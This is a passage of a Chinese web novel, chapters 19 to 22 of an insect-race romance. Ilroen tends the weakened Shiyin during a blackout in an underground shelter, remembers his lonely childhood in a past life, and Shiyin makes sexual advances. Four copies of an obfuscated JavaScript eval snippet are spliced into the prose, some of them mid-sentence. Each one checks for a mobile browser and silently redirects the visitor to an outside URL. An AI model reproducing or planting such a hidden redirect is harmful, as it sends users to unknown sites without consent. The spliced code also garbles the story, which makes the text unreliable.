把最柔软的部位交给他也没关系。 让他对自己做任何事……都没关系。 他们同生共死一回,他是对方从绝境中千辛万苦叼回来的战利品,那么按照丛林法则,他是对方的猎物,不论被如何享用都理所当然,天经地义。 天经地义,却令他的胸腔不住地颤动,砰,砰,砰。 心如擂鼓。 室内的气温无端升高,伊洛恩洗着洗着,也觉得身上有些热。他把水盆举起,哗啦往身上浇了好几趟水,然后用力甩了甩头,像一只抖动毛发的大型犬,将水珠撒落满地。 鞋子里全是汗,伊洛恩干脆把它们撇到一边,赤脚踩在地上,又擦干净身上的水,回去找诗因。 听到脚步声,诗因就又睁开眼,目光专注地看着他。 伊洛恩特地把身上的汗都冲干净了,还是不太确定这样能不能减轻触碰带来的痛感,于是蹲在床前,试着伸手探了一下诗因的脸颊。 诗因被他碰得眯了眯眼,没有发抖也没有躲开,看来还算奏效。 伊洛恩心中石头落地,大胆解开他头上的布包一通揉搓,等那头长发擦得差不多半干了,就说:“我抱你回床上去。” 头发上的水落了满满一床,加上刚才擦身时也打湿了一些,这里肯定不能再睡了。 他隔着衬衫的布料,扶住诗因腰身,帮他翻了个面,想了想,还是说:“要不直接把衬衣穿上吧,万一走的路上手上出汗,又让你难受,摔了就不好了。” 诗因没法活动,自然什么都听他的,乖乖把下巴仰起一点,方便他动作。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350095|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >手臂穿过袖筒,伤痕累累的身体被宽大的衬衫包裹,做工考究的纽扣一颗颗扣到脖颈处,像是快要折断的花蕊重新藏进了雪白花瓣之中,只在纤维的缝隙间,隐隐绰绰地透出两点朱红。 伊洛恩看了一眼,就挪开视线,并没有对那点红晕产生什么念头。太瘦了,他只是想。 如果让现在的诗因去穿那套三年前的军装,也许再加一层垫肩都撑不出原来的轮廓。 他就跟抱小孩似的,两手环过诗因的腋下,一把将雌虫搂起来,让他的脑袋搁进自己肩头。再用一只手往他大腿根处垫了垫,本来是想托住的,五指伸开,两团丰盈的肉却陷进他指缝间,柔软温热,让他浑身一震。 ——怎么回事,诗因不是很瘦的吗,怎么这个地方却…… 他眼前走马灯似的闪过种种画面,猫咪柔软的肚皮,咬一口整张脸都会陷进去的棉花糖,火锅里爽滑饱满的虾仁,奶茶杯底又弹又嫩的珍珠和芋圆,面包店里摆出试吃的虎皮蛋糕卷,红豆馅儿的青团子,香气扑鼻的驴打滚,过年时候妈妈蒸得热气腾腾还粘牙的大年糕…… 他的喉结颤巍巍地,轻轻滚动了一下。 那是和抱弟弟妹妹时,完全不一样的触感。他以前抱起小胖墩,两手都陷进肥肉团里去,也没什么别的想法,只感觉像抱着一头小猪仔,好重,好累。 可是这一会,他却觉得真的像是抱了两团年糕,丰润甜软得全都刚刚好,又弹又粘连,只是这次粘的不是牙齿,而是他的手指。 粘得紧紧的,糯叽叽的,挪也挪不开。 十指连心。他心底的馋虫闻风而动,对着久违的甜食探头探脑,眼巴巴地流口水。 诗因等了半天也没见他动,疑惑地用脸蛋蹭他颈侧。伊洛恩的手触电般收紧,又缓慢移到他膝弯处,深呼吸道:“没事。” 他稳住了自己,摒除脑袋里的杂念,抱着诗因往卧室里走。可是才迈开脚步,诗因身体就是一滑,吨的一下,鼓鼓的肉肉又坐回他手掌心里,卡得很深。 伊洛恩:“……” 诗因不知道他怎么又停下来了,还以为是自己让他抱得吃力,于是努力动了动腰,下巴勾着他的肩,往他身上贴得更紧了一点。 伊洛恩已经僵成了木头人:“……” 头顶上异兽抓挠的噪音变本加厉,传来了几声此起彼伏的高声嚎叫,甚至还隐隐约约伴随着喉咙里咕噜咕噜流哈喇子的声响,犹如一群两辈子没吃过饭的饿狼。 他咬紧牙关,狼狈地说:“我们还是换个姿势吧。” 19. 停电 伊洛恩觉得自己脑筋搭错弦了,感觉手放哪里都不对,他简直跟做贼心虚似的,不管搂着哪个地方都觉得是在冒犯。最后还是只能换回最开始的姿势,让诗因趴在他背上,一步一步走回了卧室。 但是即便如此也不得安生,他的注意力空前敏锐,好像迟钝的大脑突然伸出了一百只触角,搭在诗因身上各种各样的地方,让一切细微之处都历历在目——诗因温热的呼吸挠着他的后颈,诗因的胸口磨蹭着他的后背,诗因心跳鼓动着他的心跳。诗因的腿弯还出了汗,叫他的手掌不住地打滑,只能掐住那节骨头,把那点肉揉得更紧。 长长的微凉发丝垂在他身前,随着他的脚步晃动,像一道半透明的水帘。 伊洛恩头晕眼花,他感觉自己已经走了一百年,可是卧室还没有走到。 诗因也不好受,被雄虫握住的膝盖一阵酸麻,但他已经做好准备放弃抵抗,于是只能屏气忍着。 可是伊洛恩实在走得太慢了,挪步的速度像是只蜗牛,他忍了又忍,还是没忍住,拿脑袋轻轻去碰伊洛恩的脑袋,白色的发丝和黑色的短发纠缠在一起,撒娇一样。 快一点,快一点。 伊洛恩被他顶得一个趔趄,脑子里进的水也终于晃出去了一点,他目光清明了一瞬,清了清嗓子,歉疚道:“马上……马上就到。” 他觉得自己刚才真是疯魔了,他都在干些什么? 如果在这个时候趁人,啊不是,趁虫之危,那他和禽兽有什么区别! 要知道在结婚的那个时候,诗因对他的好感值还是负数,就算共患难一回,有了一点长进,但也远远没到喜欢的程度。 能保持友谊,和平友善地相处,已经是最理想的情况了。 他不能贪得无厌。 伊洛恩在心里给自己用力泼了几盆凉水,觉得自己差不多清醒了,背着诗因三两步走到卧室,结果刚一进门,耳边就炸起一声哀嚎:“呜啊——!!” 伊洛恩吓得天灵盖都差点飞出去,诗因也被叫嚷得直皱眉。他们两个脑袋一齐抬起,四只眼睛看向小美,而后者站在床前哇哇大哭,铁手板揉揉自己泪汪汪的豆豆眼,抽噎道:“主人,阁下,小美……小美快要没电了!” 那就不要再开眼泪特效了——诗因面无表情,冷漠的金色眸子里只明晃晃写着这样一句话。 伊洛恩先将诗因放到床上,自己也坐在旁边,揉了揉额角,头疼道:“电量还剩多少?” “只有7%了,呜呜……”小美捂着眼睛呜呜噫噫,哭得凄凄惨惨,“刚刚发射激光炮那一下,就用掉了90%,后来跑了那么久,又用掉了3%,接下来如果不省着一点用,小美很快就要被迫关机了呜呜呜……” 小美哭得愈发大声:“小美还有很多想做的事,还有很多想看的风景,可是,可是小美的电量怎么就要用完了呢?” 它突然抬头,两只钳子用力握住伊洛恩的手,豆豆眼闪动着泪光:“阁下!我已经没有多少电了,在我关机之前,我只想看看您帮助主人度过衰亡期的全过程,请问您能满足我这个小小的心愿吗?” 伊洛恩:“……你可以充电吗?” 小美抽噎了一下,表情可怜巴巴,一副泫然欲泣的姿态。 伊洛恩无奈叹气:“我会尽量帮忙的,但是你的电量也很重要,认真回答我,你能在这里充电吗?” 小美揉了两下眼睛,声音扭捏起来:“哎呀……路上匆匆忙忙的,小美又没有带备用电池出来……如果要在这里充电的话,还得重新去调整电路,很麻烦,很花时间的……” 它将手背在身后,大声道:“所以在去充电之前,小美一定要亲眼见证主人的恢复!就算不能从头看到尾,也一定要看到开头,只有这样,小美才能快快乐乐充满希望地去充电,而不是绝望地被迫关机!” 伊洛恩真诚地建议道:“要不你还是先去调整电路吧。” 不管他和诗因接下来怎么相处,如果全程都要被小美在一旁围观,那他觉得自己还是现在就原地去世比较好。 他会走得很安详。 小美震声道:“那怎么行!小美要是去调整电路了,主人和阁下该怎么办?你们都是新手,如果没有小美在一旁指导动作,是很难持续深入下去的!” 他泪汪汪地咬着虚拟手帕:“要是第一次的体验就很不好,那小美以后就没有香香的肉可以吃了呜呜呜。” 伊洛恩:“……” 诗因:“……” 小美把手帕特效一抹,双手叉腰,振振有词:“而且,这里也不会那么快就停电,所以还是主人和阁下的幸福比较重要!” 话音刚落,墙上的壁灯忽然闪烁了两下,像是接触不良一样,熄灭三秒,又亮一秒,接着又一次熄灭,又再度一闪,像是风雨中颤抖摇曳的烛火。 只是几秒挣扎的功夫,这如豆的一点灯光就在风中灰飞烟灭,室内顿时陷入了一团伸手不见五指的漆黑,只余下异兽窸窸窣窣刨土的声响。 小美脸上的泪眼效果凝固了:“……” 如同舞台上正在表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350096|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 演摔跤的演员遇上了地震,突然以最完美最自然的姿势摔倒在了地上,可是还没来得及高兴,就发现地动山摇,自己再也无法站立。那一瞬间,脸谱化的痛苦和真实的惊慌相融,荒诞的戏剧诞生出了真正的恐惧。 好的不灵坏的灵,偏偏在这个时候,他们断电了。 室内一时寂静无声,谁也没有说话。 伊洛恩下意识去摸诗因的手,摸到了,就紧紧抓住,顾不得掌心出了汗,只是把他的手死死攥着,指纹贴着指纹,严丝合缝。 诗因没有反抗,还用拇指轻轻按了按他的指关节,好像在给他无声的安慰。 伊洛恩听见自己用微弱的声音问:“有备用发电机吗?” 小美干巴巴地回答:“作战时期应该是有的,只是撤军的时候可能带走了……在地表铺设电线真的是很多年前的做法,我没想到……这个地方居然那么久都没有用过了啊。” “你的电量真的只有7%?” “真的只有7%。” 小美弹出自己的状态面板给他看,只见电池一栏标着大大的红色感叹号,而就在弹出来的这一瞬间,图标上显示的数字又往下掉了一格。 只剩百分之六了。 小美:“……” 它立刻收了眼泪特效,神情变得万分凝重,悲怆道:“阁下,我这下是真的要休眠了。只有这样,这些电量才能坚持到你们出逃的时候。” 伊洛恩的心情也变得沉重起来,低声说:“……我知道了,你保重。” 小美慷慨陈词:“主人,为了能够陪伴您战斗到最后一刻,我不得不暂时离开您身边!” 诗因合上眼睛,懒得看它。 小美准确无误地抓住了伊洛恩的胳膊,郑重道:“阁下,我无法再见证你们之间重要的时刻,但是主人是真的交给您了……小美相信您,您是如此优秀的雄虫,一定能光荣完成这个任务,好好照顾主人,不会辜负小美信赖的,对不对!” 他喊得掷地有声:“你们一定会排除万难,勇敢前行,遇到阻碍也不轻言放弃,朝着光明的未来不断前进的,对不对!” 一边说,一边顺便又放了一段尖叫欢呼鼓掌的背景音效,搞得像是一呼百应的演讲现场似的,黑漆漆的地下室一时间热闹得像是个菜市场。 伊洛恩:“……”再沉重的心情也维持不下去了。 饶是他这样好的脾气,也感觉这个机器人的话实在是有点多了。 既然都没电了,那它能不能少说两句,早点关机啊? 20. 别怕 在小美那双炯炯有神的豆豆眼注视下,伊洛恩感到了前所未有的压力。他艰难地咽了咽口水,僵硬地点点头道:“我会努力的。” 小美的面部显示屏顿时亮起一个欣慰的表情符号,像个慈祥的老父亲般拍了拍伊洛恩的手背,说:“那么接下来,我就不打扰你们了。” 它扒开自己的胸口,看起来还想再唠叨两句,闪烁的电量指示灯让它不得不作罢,他只能意犹未尽地住嘴,给自己按下了休眠键。 机器人全身的关节发出一阵咯嘣咯嘣的脆响,在系统关闭前的最后一秒,它突然提高音量,用扬声器爆发出最后的电子音:“阁下,主人,加油!为了小少爷,冲啊!” 这声充满斗志的宣言在空气中回荡,掷地有声,随即戛然而止。随着散热板的嗡鸣声渐渐平息,机器人豆豆眼中的微光也彻底熄灭,小小的金属身躯完全隐没在黑暗中。 伊洛恩茫然地问:“……小少爷?那是谁啊?” 他看向诗因:“你家的亲戚吗?” 诗因:“……” 还好他现在不能说话,省了解释的功夫,不然现场的气氛还要更加尴尬。 但诗因闭着眼睛,在心里拿刀把这个成事不足败事有余的狗东西砍了无数遍。 整天瞎脑补也就算了,偏偏还要用最大音量喊出来,简直是把他的脸都丢光了。 好在伊洛恩的好奇心并不强,就像他从来没有问过异兽为什么会出现,也没有追究过1034为什么会变成小美、又为什么会管诗因叫主人一样,他把这个问题也搁置在了一边。所有让他想不明白的事,他要么随遇而安地接受,要么转眼间就忘记了。 因为这世界如此陌生而奇怪,所以不论发生多少意料之外的事情,似乎都在情理之中。 眼睛在黑暗中失去了视物的能力,剩余感官的感知力便被无尽放大。 头顶上方,异兽刨抓地面的声响和凶戾的嚎叫仿佛被放大了数倍,与浓稠的夜色融为一体,无所不在,密不透风地裹住人的胸腔口鼻,令伊洛恩不禁打了个寒战。 空气似乎确实变凉了,而身旁诗因的体温却越发鲜明,像是寒流中的一盏明灯,温暖得令人眷恋。 伊洛恩闭着眼睛,指尖顺着诗因的手指慢慢摸索,滑过他的手臂、腰际,最后在他身边轻轻躺下,额头抵着额头,脚抵着脚,手牵着手。 他们挤在窄小的行军床上,像两只小小的船在无尽的夜海上漂流,因风暴而相遇,于是用缆绳牢牢缠住彼此,共同抵御海浪的侵袭。 被他攥住的那节手指已经有些发烫了,伊洛恩忽然意识到自己握得太紧,连忙松开力道,小声问道:“疼不疼?” 挨着他的脑袋轻轻地晃了一下,诗因轻轻摇了摇头。这点力道对他来说根本不算什么。 更何况,接下来要承受的,恐怕会比这疼得多。 汗液的炙烤不过是开胃小菜,以他目前这样虚弱的身体状况来说,雄虫体内剂量更大浓度更高的其他液体,才是真正的酷刑。 但是因为是伊洛恩,所以他接受。 笨蛋连怎么让他受伤都不懂,所有可能造成伤害的事都小心翼翼避开,所以他是安全的。 正因为确信这一点,所以即将到来的一切——不管是温柔的,还是疼痛的,都没关系。 诗因微微探出舌尖,呼吸变得急促,眼睛在暗室中依然闪着灼灼的光,像是一只蛰伏在黑夜中的野兽。 身体已经为即将到来的一切开始战栗,他既是捕猎者,又是猎物,前所未有的处境令他忐忑而期待。 伊洛恩松开了他的手,宽大的手掌转而搂住他的后脑,温柔地描摹着他的颈线和脊背,从上到下,像是在抚平那些经年累月的伤痕。 诗因紧绷的背部线条在这安抚下渐渐放松,直到后背贴上黏湿的布料,他才发现自己已经把伊洛恩的衬衫全汗湿了。 伊洛恩显然也发现了这一点,用手指轻轻拉了一下湿淋淋的衬衫领口,帮他透气,声音里带了点笑意:“只穿一件衬衫,都出了这么多汗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350097|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诗因长长的睫毛落下,感觉有些丢脸,只能倔强地不吭声。 柔韧的腰身被另一只手环抱,往一个方向挪了挪,下一秒,诗因整个身体都被伊洛恩抱进了怀里,衬衫被后背处的手掌揉得发皱,脖颈挨着脖颈,膝盖叠着膝盖,呼吸交融,心跳击打对方的胸膛,从头到脚都紧紧相依。 诗因无法抑制地身体颤抖,他的心几乎要跃出胸膛,太阳穴的血管突突直跳,紧张混杂着兴奋,使他连吞咽口水都感到困难,这种战栗的兴奋感,令他仿佛又回到了久违的战场,眼前是势均力敌的对手,双方蓄势待发,热血沸腾,即将背水一战。 然后他听到伊洛恩的声音,像是蒲公英的绒絮一样轻轻落到他的耳朵里,说:“别怕。” 伊洛恩一遍遍摸着他紧绷的脊背,说:“不怕,不怕啊。” 诗因喉咙里发出一声微弱的轻哼,他皱紧眉头,不知道是不是自己的反应给了雄虫错误的暗示,于是调整呼吸,努力放松自己,尽量显得更加温顺。 可是预想中的下一步却迟迟没有到来,雄虫只是一遍一遍、不急不缓地抚摸他颤抖的身体。 重叠的体温让汗水交织,身体密密麻麻地泛着酸痒,接触不到的地方也被伊洛恩的手掌覆盖着,暖融融地烘烤着他僵硬的四肢。 鼻腔里都是伊洛恩皮肤上温暖的气味,像是在院子里晒了一下午的旧羊毛衫,羊脂与干草的味道混杂在一起,又被阳光熨烫得干燥而松软,令身体感到安心又怀念。 诗因在这暖乎乎的味道中渐渐放松,困意如潮水般涌来,令他有些昏昏欲睡。 诗因迷迷糊糊地想,他明明已经这么配合了,这个迟钝的雄虫到底还在等什么? 但他究竟是什么也没等到,呼吸终于平缓的一刹那,他头一歪,沉入了梦乡。 怀中雌虫的呼吸渐渐由短促变得悠长,伊洛恩的脸贴着他的额头,手掌还在有一下没一下地安抚着他,跟哄孩子似的,心里微微叹气。 都困成这样了,还逞什么强呢。 21. 长夜 这一路上遇到了太多的转折和变化,一件事堆着一件事,伊洛恩直到现在才有空闲静下心来,回想发生的种种。 回想突然消失、又突然出现的猫咪,回想躺在台上、生死不知的雌虫,回想被他背在身后时,垂到他胸前的长发,回想清理伤口时颤抖的脊背…… 想来想去,脑海中的影子层层叠叠,全都是诗因。 他摸了摸诗因的后脑,微凉的发丝在他的指间穿梭,让他心口熨帖。 ——但是止步于此。 他和诗因现在只是寻常的医患关系。诗因需要他的帮助来恢复健康,而他则为诗因提供治疗,他们只有通力合作,才能一起逃出这个地方,仅此而已。 他不能生出太多妄念,况且诗因本来也不喜欢他。 他要有自知之明。 他一向很有自知之明。 手掌一下一下拍着诗因的后背,伊洛恩的神志慢慢混沌,不一会儿也睡着了。 夜长梦多,在不分白天黑夜的地下室里,伊洛恩做了一个很长的梦。 也许是白天过得动荡不安的缘故,梦里也尽是些晃动的旧时光影,记忆的长河被翻搅得浑浊一片,浮起许多许久不被他想起来的事。 当他还叫做易水恒的时候,他曾经有过一个家。 他的家里很热闹,有他、妈妈、八只鸡和三只鹅、热气腾腾的锅子、干干净净的台面,以及爸爸的遗像。 锅里的热汤总是煮的咕噜咕噜响,白雾氤氲。妈妈做的年糕,雪白细腻,甜软又有嚼劲,被筷子从汤中捞出来的时候,还能在空中轻轻颤下尾巴。 落到糖碟里一滚,汤汁都化成了粘稠的糖浆,一口塞进嘴巴里,清甜绵柔的滋味都在舌尖打转。易水恒烫得一边哈气一边吃,一顿能吃二十几个,把小小的肚皮撑得鼓鼓囊囊,浑身都是热汗。 妈妈就在旁边笑着说,慢点吃,又没有谁和你抢。喜欢吃,妈妈天天给你做。 不久,这笑容漫漶了,变成了爸爸相框旁边的另一幅遗照。 易水恒无依无靠,八只鸡和三只鹅的肚子也饿得咕咕叫。他只能离开熟悉的山林与田野,背着书包,在各路亲戚家中辗转了一圈,大江南北走了一遍,最后来到了姑姑一家所在的城市。 开学第一天,他被老师领进班级,和讲台下若干双光鲜亮丽的眼睛对视。 他磕磕绊绊地说:“大……大家好,我是易水恒,容易的易,流水的水,永恒的恒。” 他转过身去,把自己的名字写在了黑板上。 按照正常流程,这时同学们就应该鼓掌了,但不知道是谁先“噗嗤”笑了出来,这一声像是打开了什么不得了的开关似的,全班顿时哄堂大笑。 “哈哈哈哈哈哈!” 班主任用力拍拍讲台,喊了好几声“安静”,小孩们还是笑得东倒西歪,还有几个前排的男生朝他做鬼脸,放声大笑:“老师!你听,他有口音耶!” “安静!” 一片闹哄哄的喧哗声中,易水恒低下头去,闭紧了嘴巴。 全国各地的教学进度并不相同,易水恒原先的成绩就不算拔尖,几经辗转,更是一落千丈。几次考试过后,班上的同学渐渐也不待见他,每次换座位的时候,班委们都故意把他排在教室的角落,让他和垃圾桶坐在一起,而靠得近的同学也故意把桌椅挪得远了些,在他身边留出一条真空地带,除了扔垃圾,谁也不会过来。 城里的小孩总是有许多种零食,天天换着花样吃。巧克力,牛轧糖,蛋黄派,千层酥……五颜六色的包装盒和糖纸纷纷扬扬地落到他身后的桶里,每一个都掠过一阵独特的甜香,在无人问津的桶底混合,发酵,渐渐变成了一股古怪而难闻的气味。 易水恒长年累月地被那种味道熏染,即便站在教室外的走廊上,也会使素未谋面的同学掩鼻皱眉,加快脚步从他身旁经过。 他形单影只。年深日久,他的成绩仍然没有什么起色,只是慢慢学会了和孤独作伴。 好在放学之后,易水恒往往没有孤独的空闲。 姑姑姑父都是工人,家境并不宽裕。为了能在这个家住得久一点,易水恒做了他所能做的一切——打扫、洗衣、买菜、做饭、照顾表弟表妹,给小孩穿衣、梳头、洗澡、喂饭、接送上下学。 表弟刚上小学一年级,表妹则还在幼儿园,俩小孩个头不大,已经非常有主见,想买什么,想吃什么,喜欢什么不喜欢什么,全都不容置喙。 “表哥,我想吃那个!” 表妹在他背上骑小马,揪他的耳朵发号施令,胖乎乎的小手往商店橱窗一指,强迫他转向,只见货架上摆着一排油汪汪的辣条,花椒在袋子底积了厚厚一层。 易水恒低声劝道:“吃了零食就吃不下饭了……我们先回家吃饭好不好?” “才不要!表哥做的饭超级难吃!狗都不吃!” 小姑娘记仇,易水恒之前不小心把糖当成盐撒进菜里,一盘白菜甜的发齁。她吃了一口就嚎啕大哭,被姑姑哄了一天也没哄好,此后每次闹脾气不吃饭,都必定要拿出来讲上一回。 她说着,果然又大哭起来,拽他的头发,叫道:“我就要吃那个!讨厌表哥,表哥做饭最难吃,我就要吃零食!我不要吃饭!” 易水恒头皮被扯得生疼,只能不停地说:“对不起……不要哭……” 路上的折腾只能算小打小闹,吃饭的时候才是鸡飞狗跳。苦瓜是小孩们的天敌,每次在饭桌上遇到了苦瓜,表弟表妹都是一阵寻死觅活,偏偏姑姑还非要往他们嘴里塞,结果总是闹得人仰马翻,这一晚也不例外。 小孩的尖叫声歇斯底里,震得人耳朵生疼,姑父终于不耐烦,把筷子在桌上一拍,喝道:“小易,你去把苦瓜吃了!” 易水恒连忙把半盘苦瓜扒进碗里,囫囵咽了几大口。姑姑于是对表弟说:“看见没有?小易哥哥多爱吃苦瓜呀,你要向哥哥学习!” 表弟脸上泪痕未干,打着哭嗝还在嚷嚷:“没人要……没人要的小孩才爱吃苦瓜!哥哥没人要,学习又不好,还喜欢在亲戚家死皮赖脸地吃白食,我才不要学他!” “嘿你这孩子……哪学来这种乱七八糟的话……” “爸说的!” …… 苦瓜真的很苦,苦得他眼泪一直往外涌,在眼眶里不停地打转,只是不敢落下来。 饭后,照例是易水恒去倒垃圾,他一手一只满满当当的塑料袋,踮起脚,用力甩进比他人还高的大垃圾箱里。哐当两声,垃圾顺利着陆。他正准备往回走,就听到前边转角处传来一阵小孩嬉闹声,夹杂着细微而尖锐的猫叫。 他迟疑片刻,还是走过去看了一眼。一群一二年级的小萝卜头正围成一圈蹲在墙角,拿树枝捉弄一只脏兮兮的小奶猫。猫咪已经吓得浑身哆嗦,被按趴在地上,尖叫挣扎个不停,小孩们还嘻嘻哈哈,玩得不亦乐乎,甚至还想要用树枝去戳小猫紧闭的眼睛。 他立刻皱起眉头,大声道:“你们干什么!” 那群小孩惊吓回头,见到是一个比他们大的孩子,顿时扔了树枝,作鸟兽散,一眨眼的功夫就跑没影了。 掐在脖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350098|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的树枝没人再使力,小猫仍然匍匐在地上,瑟瑟发抖。易水恒蹲下来,拨开那只树枝,见小猫还是不动,便想要把它抱起来,放到树林里面去——至少那里没有车和人,比人行道上要安全一些。 谁料他的手指连猫毛都还没碰到,小猫就猛地抬头,一爪子骤然挥向他,炸毛叫道:“喵!!” 奶猫的爪子不够尖利,但垂死挣扎下,易水恒的手背还是瞬间多了几道流血的口子。他吃痛缩手,小猫瞅准这个机会,嗖地窜入夜色中,两三下就逃得不见踪影。 路灯的光线幽微,无人经过的街道回归寂静,只有家家户户橘黄色的窗口偶尔飘出电视机和聊天的声音。易水恒站在原地,看着小猫消失的方向,手垂在身侧,半天没动。 血珠一颗颗冒出来,顺着皮肤滚落,吧嗒,吧嗒,在地上摔出非常微小的水花。殷红的,透明的,此起彼伏。 妈妈…… 妈妈做的小年糕,掉到地上了。 世界缓缓沉入黑夜,仿佛又回到了上一世的弥留之际。他卡在深深的地缝里,涣散的瞳孔映着夹缝中的天空,看着那一线天慢慢融进夜色。 此后就该是永不日出的长夜。 不论是前世的易水恒,还是此生的伊洛恩,对他而言,人生是恒定的累积不幸的过程。他就像是河边的挑夫,弯下腰,背上一件不幸,站稳了,再背负下一个。 然而他只有背负,却没有能够卸货的地方。直到有一天量变引发质变,他的脊梁终于被太多的不幸压垮,于是就死了。 这是一件很平常的事情。他十分习惯面对各种意外,所以对于一切的结束也没有多少感触。因为人世间无可留恋,所以对死也没有畏惧。 况且死亡的痛苦,哪里抵得上活着的无望。 半梦半醒间,伊洛恩下意识缩了缩肩膀,想要抱紧自己的身体,把自己团成一只小乌龟,瑟缩在黑暗长廊的角落。 长夜中忽然有烛光一闪,他的脖颈处传来一阵温热的鼻息。伊洛恩蜷起身体,下意识往那边凑得更近,那阵气息便顺势贴上他的皮肤,化作了粘腻湿热的触感。 恍惚间,伊洛恩好像梦见那只逃走的小猫又跑回来了,不仅如此,还把暖乎乎的身体团在他颈间,用尾巴缠住他后脖颈,伸出小舌头,用力地舔着他的喉咙。一下,又一下。 原本避他唯恐不及的小猫咪,此时就像是一只橡皮糖一样挂在他身上,粘得紧紧的,怎么也甩不掉。 ……也未免粘得太紧了。 伊洛恩渐渐感到呼吸困难,他挣扎了一下,没能躲开。最后实在痒得受不了,只得睁开了沉重的眼皮。 视线缓慢地聚焦,昏暗的室内此时正亮着一点烛光,灯芯上的火苗稳定而安静地燃烧,驱散了令他不安的黑暗。 ……哪里来的火光? 脖颈处的痒痒没停,断断续续,一下接一下的,他垂下头,迷蒙的眼睛正好与诗因的对上。 诗因见他醒了,非但不收敛,还耀武扬威似的,微微眯起眼睛,低下头去,往他脖子上又用力嘬了一口。 伊洛恩慢半拍地意识到,是诗因在舔他脖子上的汗。 那怎么行。 他轻咳两声,用手挨着诗因的脸侧,想稍微推开一点距离。可是还没使力,后者就收回放在他脑后的手指,转而牢牢扣住他的手背,反按在了自己脸颊上。 “伊……” 诗因舌头还动不利索,发出的声音也有些含糊不清,像一块融化了一半的糖,黏黏糊糊,粘人耳朵。 “伊……洛恩……” 22. 给我 他在念伊洛恩的名字。 诗因叫一声,就往他手掌心蹭一下,眼睛眯成月牙状,眸光还亮闪闪的,颇为得意。好像念一下这个简单的发音,就是往嘴里吃了一块糖,让他喜欢得不得了。 伊洛恩被他眼里的光芒蛊惑了,出神地看了半天,才想起来问:“……你的身体恢复了?” 毕竟已经可以说话了。 诗因从鼻腔里懒懒地哼了一声,没有回答,脑袋挨过来一些,想贴过来蹭,只是肢体软绵绵的,没什么力气,挪了两下,还是没能贴住他,眉宇间立即显而易见地有些生气。 看来只是恢复了一点点,仅能做些简单的活动。 伊洛恩叹了口气,搂住他的腰,把雌虫抱进怀里,像是安抚一只大早上起来讨食吃的猫咪似的,慢慢帮他搓揉背部和肩膀,声音还带着点初醒的朦胧,说:“没关系……没关系啊。我们再多抱一会,抱抱就好了……” 诗因哼哼唧唧,在他怀里微微挣扎,抬起头,露出一口森森白牙。 啵叽。 清脆响亮的一声,在空旷寂静的地下室内格外明显。 伊洛恩察觉自己的脖子被啃了一口,心跳猛然加速,几乎差点蹦出嗓子眼。他连忙仰起下巴,脑中胡思乱想,诗因这是怎么了,该不会是又不舒服了…… 诗因可不知道他在想什么,他才不会被一个仰头的动作给难倒,他腰部发力,在伊洛恩怀里努力往上拱,嘬一口下巴尖儿,再嘬一口嘴角,翘起的白色长发在伊洛恩眼前晃来晃去,眼看着终于就要亲上嘴唇了,用力拿脑袋一撞——结果嘴巴却撞上了另一层屏障。 他退开些许,垂眼打量着伊洛恩捂住他嘴巴的手指,又抬眼去看了看伊洛恩的颤抖不止的睫毛,在这端详的片刻,终于如伊洛恩所愿,安静了一会。 伊洛恩的脑子都被他亲成了糨糊,搅了半天也没翻出点有用的东西,哽了好一会儿,才语无伦次地喃喃:“不对,诗因,不可以这样……我们,我们不应该……” 诗因笑了一声,热气都扑在他的指尖。然后他伸出舌头,用力舔了一口遮在面前的手指头。 哧溜。 这么害羞的笨蛋雄虫,真是美味。 这个笨蛋,辛辛苦苦把猎物背回巢穴,结果连怎么下嘴都不会,还要让猎物来教他。 猎物的教学也是有代价的,主人又天真又可口,猎物也可以反过来吃掉他。 诗因这回连自己的好牙口也用上了,作势要啃咬那一排温热的手指,只是用的力气微不足道,连一点牙印都没留下,只是沾了伊洛恩一手的口水。 伊洛恩简直跟被火炭烫了似的,嗖一下缩回了手,表情堪称惊慌失措。 会动的诗因比不会动的诗因可怕一万倍。 他本以为不小心卡在指缝里的年糕就是最大的考验了! 